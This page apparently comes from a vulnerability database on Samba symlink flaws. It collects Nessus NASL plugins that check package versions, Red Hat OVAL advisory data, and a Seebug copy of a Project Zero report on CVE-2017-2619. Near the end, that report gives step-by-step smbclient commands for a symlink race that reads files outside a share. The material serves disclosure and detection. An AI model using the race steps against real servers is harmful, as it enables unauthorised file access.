      script_require_keys("Host/local_checks_enabled", "Host/cpu", "Host/SuSE/release", "Host/SuSE/rpm-list");
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("rpm.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) exit(0, "Local checks are not enabled.");
    if (!get_kb_item("Host/SuSE/release")) exit(0, "The host is not running SuSE.");
    if (!get_kb_item("Host/SuSE/rpm-list")) exit(1, "Could not obtain the list of installed packages.");
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) exit(1, "Failed to determine the architecture type.");
    if (cpu >!< "x86_64" && cpu !~ "^i[3-6]86$") exit(1, "Local checks for SuSE 9 on the '"+cpu+"' architecture have not been implemented.");
    
    
    flag = 0;
    if (rpm_check(release:"SUSE9", reference:"libsmbclient-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"libsmbclient-devel-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-client-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-doc-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-pdb-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-python-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-vscan-0.3.6b-0.41")) flag++;
    if (rpm_check(release:"SUSE9", reference:"samba-winbind-3.0.26a-0.13")) flag++;
    if (rpm_check(release:"SUSE9", cpu:"x86_64", reference:"libsmbclient-32bit-9-201003120118")) flag++;
    if (rpm_check(release:"SUSE9", cpu:"x86_64", reference:"samba-32bit-9-201003120118")) flag++;
    if (rpm_check(release:"SUSE9", cpu:"x86_64", reference:"samba-client-32bit-9-201003120118")) flag++;
    if (rpm_check(release:"SUSE9", cpu:"x86_64", reference:"samba-winbind-32bit-9-201003120118")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_note(port:0, extra:rpm_report_get());
      else security_note(0);
      exit(0);
    }
    else exit(0, "The host is not affected.");
    
  • NASL familyOracle Linux Local Security Checks
    NASL idORACLELINUX_ELSA-2012-0313.NASL
    descriptionFrom Red Hat Security Advisory 2012:0313 : Updated samba packages that fix one security issue, one bug, and add one enhancement are now available for Red Hat Enterprise Linux 5. The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section. Samba is an open source implementation of the Server Message Block (SMB) or Common Internet File System (CIFS) protocol, which allows PC-compatible machines to share files, printers, and other information. The default Samba server configuration enabled both the
    last seen2020-06-01
    modified2020-06-02
    plugin id68484
    published2013-07-12
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/68484
    titleOracle Linux 5 : samba (ELSA-2012-0313)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Red Hat Security Advisory RHSA-2012:0313 and 
    # Oracle Linux Security Advisory ELSA-2012-0313 respectively.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(68484);
      script_version("1.8");
      script_cvs_date("Date: 2019/09/30 10:58:17");
    
      script_cve_id("CVE-2010-0926");
      script_bugtraq_id(37992, 38111, 38326, 43212, 46597, 48899, 48901, 49939);
      script_xref(name:"RHSA", value:"2012:0313");
    
      script_name(english:"Oracle Linux 5 : samba (ELSA-2012-0313)");
      script_summary(english:"Checks rpm output for the updated packages");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Oracle Linux host is missing one or more security updates."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "From Red Hat Security Advisory 2012:0313 :
    
    Updated samba packages that fix one security issue, one bug, and add
    one enhancement are now available for Red Hat Enterprise Linux 5.
    
    The Red Hat Security Response Team has rated this update as having low
    security impact. A Common Vulnerability Scoring System (CVSS) base
    score, which gives a detailed severity rating, is available from the
    CVE link in the References section.
    
    Samba is an open source implementation of the Server Message Block
    (SMB) or Common Internet File System (CIFS) protocol, which allows
    PC-compatible machines to share files, printers, and other
    information.
    
    The default Samba server configuration enabled both the 'wide links'
    and 'unix extensions' options, allowing Samba clients with write
    access to a share to create symbolic links that point to any location
    on the file system. Clients connecting with CIFS UNIX extensions
    disabled could have such links resolved on the server, allowing them
    to access and possibly overwrite files outside of the share. With this
    update, 'wide links' is set to 'no' by default. In addition, the
    update ensures 'wide links' is disabled for shares that have 'unix
    extensions' enabled. (CVE-2010-0926)
    
    Warning: This update may cause files and directories that are only
    linked to Samba shares using symbolic links to become inaccessible to
    Samba clients. In deployments where support for CIFS UNIX extensions
    is not needed (such as when files are exported to Microsoft Windows
    clients), administrators may prefer to set the 'unix extensions'
    option to 'no' to allow the use of symbolic links to access files out
    of the shared directories. All existing symbolic links in a share
    should be reviewed before re-enabling 'wide links'.
    
    These updated samba packages also fix the following bug :
    
    * The smbclient tool sometimes failed to return the proper exit status
    code. Consequently, using smbclient in a script caused some scripts to
    fail. With this update, an upstream patch has been applied and
    smbclient now returns the correct exit status. (BZ#768908)
    
    In addition, these updated samba packages provide the following
    enhancement :
    
    * With this update, support for Windows Server 2008 R2 domains has
    been added. (BZ#736124)
    
    Users are advised to upgrade to these updated samba packages, which
    correct these issues and add this enhancement. After installing this
    update, the smb service will be restarted automatically."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://oss.oracle.com/pipermail/el-errata/2012-March/002664.html"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected samba packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(22);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:libsmbclient");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:libsmbclient-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:samba");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:samba-client");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:samba-common");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:oracle:linux:samba-swat");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:oracle:linux:5");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2010/03/10");
      script_set_attribute(attribute:"patch_publication_date", value:"2012/03/07");
      script_set_attribute(attribute:"plugin_publication_date", value:"2013/07/12");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Oracle Linux Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/OracleLinux", "Host/RedHat/release", "Host/RedHat/rpm-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/OracleLinux")) audit(AUDIT_OS_NOT, "Oracle Linux");
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || !pregmatch(pattern: "Oracle (?:Linux Server|Enterprise Linux)", string:release)) audit(AUDIT_OS_NOT, "Oracle Linux");
    os_ver = pregmatch(pattern: "Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\.[0-9]+)?)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Oracle Linux");
    os_ver = os_ver[1];
    if (! preg(pattern:"^5([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Oracle Linux 5", "Oracle Linux " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && "ia64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Oracle Linux", cpu);
    
    flag = 0;
    if (rpm_check(release:"EL5", reference:"libsmbclient-3.0.33-3.37.el5")) flag++;
    if (rpm_check(release:"EL5", reference:"libsmbclient-devel-3.0.33-3.37.el5")) flag++;
    if (rpm_check(release:"EL5", reference:"samba-3.0.33-3.37.el5")) flag++;
    if (rpm_check(release:"EL5", reference:"samba-client-3.0.33-3.37.el5")) flag++;
    if (rpm_check(release:"EL5", reference:"samba-common-3.0.33-3.37.el5")) flag++;
    if (rpm_check(release:"EL5", reference:"samba-swat-3.0.33-3.37.el5")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_note(port:0, extra:rpm_report_get());
      else security_note(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "libsmbclient / libsmbclient-devel / samba / samba-client / etc");
    }
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE_11_CIFS-MOUNT-100312.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45130
    published2010-03-23
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45130
    titleSuSE 11 Security Update : Samba (SAT Patch Number 2126)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_11_0_CIFS-MOUNT-100312.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45339
    published2010-03-25
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45339
    titleopenSUSE Security Update : cifs-mount (cifs-mount-2128)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_11_1_CIFS-MOUNT-100312.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45340
    published2010-03-25
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45340
    titleopenSUSE Security Update : cifs-mount (cifs-mount-2128)
  • NASL familyRed Hat Local Security Checks
    NASL idREDHAT-RHSA-2012-0313.NASL
    descriptionUpdated samba packages that fix one security issue, one bug, and add one enhancement are now available for Red Hat Enterprise Linux 5. The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section. Samba is an open source implementation of the Server Message Block (SMB) or Common Internet File System (CIFS) protocol, which allows PC-compatible machines to share files, printers, and other information. The default Samba server configuration enabled both the
    last seen2020-04-16
    modified2012-02-21
    plugin id58067
    published2012-02-21
    reporterThis script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/58067
    titleRHEL 5 : samba (RHSA-2012:0313)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_CIFS-MOUNT-6921.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id49834
    published2010-10-11
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/49834
    titleSuSE 10 Security Update : Samba (ZYPP Patch Number 6921)
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-918-1.NASL
    descriptionIt was discovered the Samba handled symlinks in an unexpected way when both
    last seen2020-06-01
    modified2020-06-02
    plugin id45343
    published2010-03-25
    reporterUbuntu Security Notice (C) 2010-2019 Canonical, Inc. / NASL script (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/45343
    titleUbuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : samba vulnerability (USN-918-1)

Redhat

advisories
bugzilla
id562568
title default
oval
OR
  • commentRed Hat Enterprise Linux must be installed
    ovaloval:com.redhat.rhba:tst:20070304026
  • AND
    • commentRed Hat Enterprise Linux 5 is installed
      ovaloval:com.redhat.rhba:tst:20070331005
    • OR
      • AND
        • commentsamba is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313001
        • commentsamba is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20070061006
      • AND
        • commentlibsmbclient-devel is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313003
        • commentlibsmbclient-devel is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20100488011
      • AND
        • commentsamba-client is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313005
        • commentsamba-client is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20070061002
      • AND
        • commentsamba-common is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313007
        • commentsamba-common is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20070061004
      • AND
        • commentsamba-swat is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313009
        • commentsamba-swat is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20070061008
      • AND
        • commentlibsmbclient is earlier than 0:3.0.33-3.37.el5
          ovaloval:com.redhat.rhsa:tst:20120313011
        • commentlibsmbclient is signed with Red Hat redhatrelease key
          ovaloval:com.redhat.rhsa:tst:20100488021
rhsa
idRHSA-2012:0313
released2012-02-21
severityLow
titleRHSA-2012:0313: samba security, bug fix, and enhancement update (Low)
rpms
  • libsmbclient-0:3.0.33-3.37.el5
  • libsmbclient-devel-0:3.0.33-3.37.el5
  • samba-0:3.0.33-3.37.el5
  • samba-client-0:3.0.33-3.37.el5
  • samba-common-0:3.0.33-3.37.el5
  • samba-debuginfo-0:3.0.33-3.37.el5
  • samba-swat-0:3.0.33-3.37.el5

Seebug

bulletinFamilyexploit
descriptionThe Samba server is supposed to only grant access to the configured share directories unless the "wide links" are enabled, in which case the server is allowed to follow symlinks. The default (since CVE-2010-0926) is that wide links are disabled. smbd ensures that it isn't following symlinks by calling lstat() on every path component, as can be seen in strace (in reaction to the request "get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share): `root@debian:/home/user# strace-e trace=file-p18954 Process 18954 attached lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 getcwd("/public", 4096) = 8 lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 getxattr("a/b/c/d/e/f/g/h/i/j", "system. posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available) stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 open("a/b/c/d/e/f/g/h/i/j", O_RDONLY) = 35` This is racy: Any of the path components - either one of the directories or the file at the end - could be replaced with a symlink by an attacker over a second connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i with a symlink to / immediately before the open() call would cause smbd to open /j. To reproduce: * Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian unstable. I'm running the attacks on a native machine while the server is running in a VM on the same machine.) * On the server, create a world-readable file "/secret" that contains some text. The goal of the attacker is to leak the contents of that file. * On the server, create a directory "/public", mode 0777. * Create a share named "public", accessible for guests, writable, with the path "/public". * As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in attack_commands. patch. * Build the patched copy of the samba-4.5.2. The built-in smbclient will be used in the following steps. * Prepare the server's directory layout remotely and start the rename side of the race: `` $ ./ bin/default/source3/client/smbclient-N-U guest //192.168.56.101/public ./ bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb. conf - run testparm to debug it Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian] smb: &gt; posix Server supports CIFS extensions 1.0 Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt the smb: /&gt; ls . D 0 Wed Dec 14 23:54:30 2016 .. D 0 Wed Dec 14 13:02:50 2016 98853468 blocks of size 1024. 66181136 blocks available the smb: /&gt; symlink / link the smb: /&gt; mkdir normal the smb: /&gt; put /tmp/empty normal/secret # empty file putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s) the smb: /&gt; rename_loop use normal foobar `` * Over a second connection, launch the read side of the race: `$ ./ bin/default/source3/client/smbclient-N-U guest //192.168.56.101/public ./ bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb. conf - run testparm to debug it Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian] smb: \> posix Server supports CIFS extensions 1.0 Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt the smb: /> dump foobar/secret` * At this point, the race can theoretically be hit. However, because the renaming client performs operations synchronously, the network latency makes it hard to win the race. (It shouldn't be too hard to adapt the SMB client to be asynchronous, which would make the attack much more practical.) To make it easier to hit the race, log in to the server as root and run "strace" against the process that is trying to access foobar/secret all the time without any filtering ("strace-p19624"). On my machine, this causes the race to be hit every few seconds, and the smbclient that is running the "dump" command prints the contents of the file each time the race is won. Attachment: [ attack_commands. patch ](<https://bugs.chromium.org/p/project-zero/issues/attachment?aid=263723>)
idSSV:92840
last seen2017-11-19
modified2017-03-28
published2017-03-28
reporterRoot
titleSamba: symlink race permits opening files outside share directory (CVE-2017-2619)

References